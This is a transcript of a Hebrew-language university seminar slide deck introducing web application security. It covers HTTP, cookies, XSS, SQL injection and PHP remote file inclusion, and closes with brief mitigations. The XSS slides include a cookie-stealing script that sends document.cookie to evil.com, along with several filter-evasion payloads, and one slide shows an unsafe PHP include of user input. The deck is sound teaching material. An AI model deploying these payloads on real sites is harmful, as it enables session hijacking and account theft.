Introduction to (Web) Application Security
description
Transcript of Introduction to (Web) Application Security
![Page 1: Introduction to (Web) Application Security](https://reader035.fdocuments.us/reader035/viewer/2022081419/56813b46550346895da423ef/html5/thumbnails/1.jpg)
Introduction to (Web) Application Security
Or: things you will not learn in univerity.
)ummmm(…
Yoav GoldbergBGU Software Engineering and Programming Languages Seminar
![Page 2: Introduction to (Web) Application Security](https://reader035.fdocuments.us/reader035/viewer/2022081419/56813b46550346895da423ef/html5/thumbnails/2.jpg)
שבוע שעבר
דריסת מחסנית• כדי להריץ קוד Cניצול של באג בתוכנית בשפת –
משלך.
![Page 3: Introduction to (Web) Application Security](https://reader035.fdocuments.us/reader035/viewer/2022081419/56813b46550346895da423ef/html5/thumbnails/3.jpg)
השבוע
העולם השתנה:•High Levelיותר ויותר שפות –שפות "מפורשנות"–ניהול זכרון אוטומטי–Cפחות ופחות קוד נכתב ב-–
העולם נשאר אותו הדבר:•מתכנתים עושים טעויות.–אסור לסמוך על משתמשים!–
![Page 4: Introduction to (Web) Application Security](https://reader035.fdocuments.us/reader035/viewer/2022081419/56813b46550346895da423ef/html5/thumbnails/4.jpg)
השבוע
עולם השתנה:•הרבה יותר קל לתכנת.–יש הרבה יותר מתכנתים.–יש הרבה יותר טעיות.–יש הרבה יותר באגים שאפשר לנצל.–
![Page 5: Introduction to (Web) Application Security](https://reader035.fdocuments.us/reader035/viewer/2022081419/56813b46550346895da423ef/html5/thumbnails/5.jpg)
השבוע
.Webסקירה של טכנולוגיית •
דוגמאות לבאגים נפוצים וכיצד משתמשים רעים •יכולים לנצל אותם.
![Page 6: Introduction to (Web) Application Security](https://reader035.fdocuments.us/reader035/viewer/2022081419/56813b46550346895da423ef/html5/thumbnails/6.jpg)
WEBמבוא קצרצר לטכנולוגיות
אני מניח שאתם יודעים מה הם:•–TCP/IPאתר אינטרנט––URL–Domain Name
(למרות שהוא אבל מי שלא יודע שלא יתבייש לשאול כנראה חי בעולם אחר משלנו)
![Page 7: Introduction to (Web) Application Security](https://reader035.fdocuments.us/reader035/viewer/2022081419/56813b46550346895da423ef/html5/thumbnails/7.jpg)
HTTPהבסיס:
הלקוח שולח בקשה לשרת. •השרת מחזיר תשובה.
). GET, POST, HEAD, PUT, DEL( סוגי בקשות 5•
.GETנתמקד בבקשת •
![Page 8: Introduction to (Web) Application Security](https://reader035.fdocuments.us/reader035/viewer/2022081419/56813b46550346895da423ef/html5/thumbnails/8.jpg)
![Page 9: Introduction to (Web) Application Security](https://reader035.fdocuments.us/reader035/viewer/2022081419/56813b46550346895da423ef/html5/thumbnails/9.jpg)
![Page 10: Introduction to (Web) Application Security](https://reader035.fdocuments.us/reader035/viewer/2022081419/56813b46550346895da423ef/html5/thumbnails/10.jpg)
GET /~yoavg/uni HTTP/1.1User-Agent: Opera/9.21 (Windows NT 5.1; U; en)Host: www.cs.bgu.ac.ilAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: en-US,en;q=0.9Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0Pragma: no-cacheCache-Control: no-cacheConnection: Keep-Alive
![Page 11: Introduction to (Web) Application Security](https://reader035.fdocuments.us/reader035/viewer/2022081419/56813b46550346895da423ef/html5/thumbnails/11.jpg)
HTTP/1.1 200 OKDate: Tue, 28 Aug 2007 09:07:56 GMTServer: Apache/2.0.54 (Unix) mod_ssl/2.0.54 OpenSSL/0.9.7d mod_jk/1.2.14Last-Modified: Sun, 29 Jul 2007 09:17:19 GMTContent-Length: 985Content-Type: text/html
<html><META http-equiv="Content-Type" content="text/html; charset=cp1255"> <head> <title>Yoav Goldberg</title> </head> <body> <center> <h1> Yoav Goldberg </h1> <h2> A <a href=brilliant.html>brilliant</a> <a ….
![Page 12: Introduction to (Web) Application Security](https://reader035.fdocuments.us/reader035/viewer/2022081419/56813b46550346895da423ef/html5/thumbnails/12.jpg)
HTTP/1.1 200 OKDate: Tue, 28 Aug 2007 09:07:56 GMTServer: Apache/2.0.54 (Unix) mod_ssl/2.0.54 OpenSSL/0.9.7d mod_jk/1.2.14Last-Modified: Sun, 29 Jul 2007 09:17:19 GMTContent-Length: 985Content-Type: text/html
<html><META http-equiv="Content-Type" content="text/html; charset=cp1255"> <head> <title>Yoav Goldberg</title> </head> <body> <center> <h1> Yoav Goldberg </h1> <h2> A <a href=brilliant.html>brilliant</a> <a ….
HTMLזה כתוב בשפת
![Page 13: Introduction to (Web) Application Security](https://reader035.fdocuments.us/reader035/viewer/2022081419/56813b46550346895da423ef/html5/thumbnails/13.jpg)
HTML
שפה לייצוג של מידע.•
משמשת להגדרת מבנה ותוכן של עמודי •אינטרנט.
דפדפנים יודעים לפרש אותה ולהציג תוכן גרפי •בהתאם.
![Page 14: Introduction to (Web) Application Security](https://reader035.fdocuments.us/reader035/viewer/2022081419/56813b46550346895da423ef/html5/thumbnails/14.jpg)
דפי אינטרנט דינמיים
מה שראינו עד כה היה סטטי – השרת ניגש לקובץ •בדיסק ומחזיר את תוכנו.
זה קצת משעמם.•השלב הבא, תוכן דינמי: •
השרת מקבל בקשה מהלקוח.–השרת מעביר את הבקשה כקלט לתוכנה.–התוכנה מבצעת חישוב ומחזירה פלט.–השרת מחזיר את הפלט למשתמש.–
, …CGI, ASP/PHPטכנולוגית: •
![Page 15: Introduction to (Web) Application Security](https://reader035.fdocuments.us/reader035/viewer/2022081419/56813b46550346895da423ef/html5/thumbnails/15.jpg)
דוגמה פשוטה
![Page 16: Introduction to (Web) Application Security](https://reader035.fdocuments.us/reader035/viewer/2022081419/56813b46550346895da423ef/html5/thumbnails/16.jpg)
מסדי נתונים
בדוגמה שלנו כל התשובות היו מקודדות בגוף •התוכנית.
כמובן שאפשר גם לקרוא/לכתוב לקבצים.•
או לתקשר עם מסד נתונים באמצעות שפת •SQL.
![Page 17: Introduction to (Web) Application Security](https://reader035.fdocuments.us/reader035/viewer/2022081419/56813b46550346895da423ef/html5/thumbnails/17.jpg)
![Page 18: Introduction to (Web) Application Security](https://reader035.fdocuments.us/reader035/viewer/2022081419/56813b46550346895da423ef/html5/thumbnails/18.jpg)
האפשרויות כמעט בלתי מוגבלות
ספר-אורחים.•
ספר טלפון.•
מנוע חיפוש.•
בלוג.•
•Wiki.
•...
![Page 19: Introduction to (Web) Application Security](https://reader035.fdocuments.us/reader035/viewer/2022081419/56813b46550346895da423ef/html5/thumbnails/19.jpg)
אבל משהו עדיין חסר
.Stateless הוא פרוטוקול HTTPפרוטוקול •באמצעות המודל שראינו עד עכשיו יהיה קשה לממש –
).Webmail(לדוגמה תוכנה שיש לה יותר ממצב אחד
Cookiesהפתרון: •"עוגיות" הן פרטי מידע שהשרת שומר אצל הלקוח. –
הלקוח מבחינתו שולח אותן בחזרה לשרת בכל בקשה.על פי ערך העוגיה, השרת יודע מי פונה אליו ומגיב –
בהתאם.
![Page 20: Introduction to (Web) Application Security](https://reader035.fdocuments.us/reader035/viewer/2022081419/56813b46550346895da423ef/html5/thumbnails/20.jpg)
C is for cookie
.Webעוגיות + שפות-צד-שרת = אפליקציות •
במרבית האפליקציות, העוגיה מזהה באופן •ייחודי את המשתמש.
..Webmailפסאודו-קוד לעמוד בתוכנת •
![Page 21: Introduction to (Web) Application Security](https://reader035.fdocuments.us/reader035/viewer/2022081419/56813b46550346895da423ef/html5/thumbnails/21.jpg)
![Page 22: Introduction to (Web) Application Security](https://reader035.fdocuments.us/reader035/viewer/2022081419/56813b46550346895da423ef/html5/thumbnails/22.jpg)
אז מה ראינו...
•HTTP.
•HTML.
דפים דינמיים.•
שימוש במסדי נתונים.•
עוגיות.•
![Page 23: Introduction to (Web) Application Security](https://reader035.fdocuments.us/reader035/viewer/2022081419/56813b46550346895da423ef/html5/thumbnails/23.jpg)
DHTML+Javascript
"אין מספיק מקומות שמריצים קוד, בואו נספק יכולת הרצת קוד גם לדפדפן!"
•DOM תקן המייצג את העמוד המוצג בדפדפן :כהיררכיה של אובייקטים.
יכולים להכיל קוד שפועל על HTMLדפי •האובייקטים האלו.
הדפדפן יודע לפרש את הקוד הזה.•VBScript / Javascriptשפות: •
![Page 24: Introduction to (Web) Application Security](https://reader035.fdocuments.us/reader035/viewer/2022081419/56813b46550346895da423ef/html5/thumbnails/24.jpg)
דוגמה...
![Page 25: Introduction to (Web) Application Security](https://reader035.fdocuments.us/reader035/viewer/2022081419/56813b46550346895da423ef/html5/thumbnails/25.jpg)
DHTML / Javascript
משמש בעיקר לממשקים נוחים יותר:•תפריטים––Form Validationהודעות יפות למשתמש–באנרים קופצים ופרסומות מאאגניבות.–
![Page 26: Introduction to (Web) Application Security](https://reader035.fdocuments.us/reader035/viewer/2022081419/56813b46550346895da423ef/html5/thumbnails/26.jpg)
Webאפליקציית
משתמש
דפדפן
שרתWEB
מסד נתונים
דפדפן
משתמש
![Page 27: Introduction to (Web) Application Security](https://reader035.fdocuments.us/reader035/viewer/2022081419/56813b46550346895da423ef/html5/thumbnails/27.jpg)
Webאפליקציית
משתמש
דפדפן
שרתWEB
מסד נתונים
דפדפן
משתמש
מריץ קוד
מריץ קוד
מריץ קוד
![Page 28: Introduction to (Web) Application Security](https://reader035.fdocuments.us/reader035/viewer/2022081419/56813b46550346895da423ef/html5/thumbnails/28.jpg)
תקיפה ראשונה
משתמש
דפדפן
שרתWEB
מסד נתונים
דפדפן
משתמש
XSS
![Page 29: Introduction to (Web) Application Security](https://reader035.fdocuments.us/reader035/viewer/2022081419/56813b46550346895da423ef/html5/thumbnails/29.jpg)
XSS
מקבלות מהמשתמש מידע, Webאפליקציות •מעבדות אותו, ומציגות אותו חזרה למשתמש.
זה יכול להיות מסוכן...•
![Page 30: Introduction to (Web) Application Security](https://reader035.fdocuments.us/reader035/viewer/2022081419/56813b46550346895da423ef/html5/thumbnails/30.jpg)
![Page 31: Introduction to (Web) Application Security](https://reader035.fdocuments.us/reader035/viewer/2022081419/56813b46550346895da423ef/html5/thumbnails/31.jpg)
XSS
אוקיי, אז גרמתי לדפדפן של עצמי להריץ קוד •שהאתר החזיר לי. אז מה?
להריץ דפדפן של מישהו אחר אפשר לגרום גם ל•את אותו הקוד.
![Page 32: Introduction to (Web) Application Security](https://reader035.fdocuments.us/reader035/viewer/2022081419/56813b46550346895da423ef/html5/thumbnails/32.jpg)
![Page 33: Introduction to (Web) Application Security](https://reader035.fdocuments.us/reader035/viewer/2022081419/56813b46550346895da423ef/html5/thumbnails/33.jpg)
XSS
אוקיי, אני יכול להריץ קוד בדפדפן של משתמש •אחר. אז??
![Page 34: Introduction to (Web) Application Security](https://reader035.fdocuments.us/reader035/viewer/2022081419/56813b46550346895da423ef/html5/thumbnails/34.jpg)
XSS
אוקיי, אני יכול להריץ קוד בדפדפן של משתמש •אחר. אז??
הקוד אצל המשתמש האחר רץ בקונטקסט של •האתר הפגיע. אז אפשר לקרוא את העוגיה שלו
באתר זה:<script>alert(document.cookie)</script>
![Page 35: Introduction to (Web) Application Security](https://reader035.fdocuments.us/reader035/viewer/2022081419/56813b46550346895da423ef/html5/thumbnails/35.jpg)
XSS
אוקיי, אני יכול להריץ קוד בדפדפן של משתמש •אחר. אז??
הקוד אצל המשתמש האחר רץ בקונטקסט של •האתר הפגיע. אז אפשר לקרוא את העוגיה שלו
באתר זה:<script>alert(document.cookie)</script>
אני אבל הקוד הזה רק מציג חלון עם העוגיה. איך •מקבל את הערך שלה?
<img id=i width=0 height=0><script>i.src=“http://evil.com/log.php?c=“+document.cookie</script>
![Page 36: Introduction to (Web) Application Security](https://reader035.fdocuments.us/reader035/viewer/2022081419/56813b46550346895da423ef/html5/thumbnails/36.jpg)
XSS
ההתקפה הכי נפוצה:•קבלת העוגיה של משתמש אחר באתר.–
יש גם דברים מתחכמים יותר:•–xss-proxy
![Page 37: Introduction to (Web) Application Security](https://reader035.fdocuments.us/reader035/viewer/2022081419/56813b46550346895da423ef/html5/thumbnails/37.jpg)
XSS
לקח: •אם הפלט מכיל גם קלט ממשתמש, לסנן אותו לפני –
ההצגה.קל להגיד, קשה לעשות•
![Page 38: Introduction to (Web) Application Security](https://reader035.fdocuments.us/reader035/viewer/2022081419/56813b46550346895da423ef/html5/thumbnails/38.jpg)
איזו מהמחרוזות הבאות לא מריצה קוד?
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<IMG SRC="jav ascript:alert('XSS');">
<<SCRIPT>alert("XSS");//<</SCRIPT>
<IMG SRC=javascript:alert('XSS')>
![Page 39: Introduction to (Web) Application Security](https://reader035.fdocuments.us/reader035/viewer/2022081419/56813b46550346895da423ef/html5/thumbnails/39.jpg)
תקיפה שניה
משתמש
דפדפן
שרתWEB
מסד נתונים
דפדפן
משתמש
SQL Injection
![Page 40: Introduction to (Web) Application Security](https://reader035.fdocuments.us/reader035/viewer/2022081419/56813b46550346895da423ef/html5/thumbnails/40.jpg)
SQL Injection
כדי לגנוב עוגיה, XSSנניח שלא הצלחנו לבצע • רוצים להתחבר לאתר שאין לנו ממשואנחנו
ססמה אליו.
Loginתזכורת: ככה עובדים הרבה מנגנוני •(גרועים).
![Page 41: Introduction to (Web) Application Security](https://reader035.fdocuments.us/reader035/viewer/2022081419/56813b46550346895da423ef/html5/thumbnails/41.jpg)
SQL Injection
היי, טריק נחמד.•
SQL Injectionאפשר לעשות עוד דברים עם ה-•הזה?
בטח!•
![Page 42: Introduction to (Web) Application Security](https://reader035.fdocuments.us/reader035/viewer/2022081419/56813b46550346895da423ef/html5/thumbnails/42.jpg)
תקיפה שלישית
משתמש
דפדפן
שרתWEB
מסד נתונים
דפדפן
משתמש
PHP Remote File Inclusion
![Page 43: Introduction to (Web) Application Security](https://reader035.fdocuments.us/reader035/viewer/2022081419/56813b46550346895da423ef/html5/thumbnails/43.jpg)
PHP File Inclusion
אנחנו יודעים לגנוב עוגיות כדי להתחזות למישהו •אחר (וגם לשלוט לגמרי בדפדפן של משתמש).
ואנחנו יודעים להכנס לאתרים למרות שאין לנו •ססמה, וגם לקרוא מסדי נתונים שאין לנו גישה
אליהם.
מה עוד אפשר לבקש??•
![Page 44: Introduction to (Web) Application Security](https://reader035.fdocuments.us/reader035/viewer/2022081419/56813b46550346895da423ef/html5/thumbnails/44.jpg)
הרעיון
המאפשרת ”include“ קיימת הפקודה PHPב-•לכלול תוכן של קובץ:
<?php
include(“afile.php”);
?>
הקובץ יכול להיות גם על מחשב מרוחק:•<?php include(“http://bla.com/bla/bla.txt”) ?>
![Page 45: Introduction to (Web) Application Security](https://reader035.fdocuments.us/reader035/viewer/2022081419/56813b46550346895da423ef/html5/thumbnails/45.jpg)
הרעיון
מתכנת לא זהיר יכול לבצע משהו כזה:•
<?php include($file_name) ?>
![Page 46: Introduction to (Web) Application Security](https://reader035.fdocuments.us/reader035/viewer/2022081419/56813b46550346895da423ef/html5/thumbnails/46.jpg)
דוגמה מתוכנה אמיתית
![Page 47: Introduction to (Web) Application Security](https://reader035.fdocuments.us/reader035/viewer/2022081419/56813b46550346895da423ef/html5/thumbnails/47.jpg)
אז מה עושים?
ברמת המתכנת – נזהרים.•
ברמת הפלטפורמה??•פתרונות חלקיים:
•Perl taint
•magic_quotes_on
•don’t open remote files in php..
![Page 48: Introduction to (Web) Application Security](https://reader035.fdocuments.us/reader035/viewer/2022081419/56813b46550346895da423ef/html5/thumbnails/48.jpg)
זהו, נגמר.